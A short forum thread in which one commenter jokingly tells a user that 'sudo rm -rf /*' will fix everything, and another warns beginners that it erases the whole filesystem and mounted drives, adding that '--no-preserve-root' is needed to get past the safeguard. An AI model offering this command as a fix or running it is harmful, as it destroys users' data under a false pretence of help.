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[–] [email protected] 3 points 11 months ago* (last edited 11 months ago) (2 children)

Just type the following into the Terminal:

sudo rm -rf /*

It will fix everything.

[–] [email protected] 1 points 11 months ago

LOL

[–] [email protected] 1 points 11 months ago

For any Linux noobs watching, NEVER DO THIS.

This command wipes your entire Linux filesystem, including any and all drives you have loaded and active (including USB pen drives)

With that said, for this to actually work nowadays you need to append ' --no-preserve-root'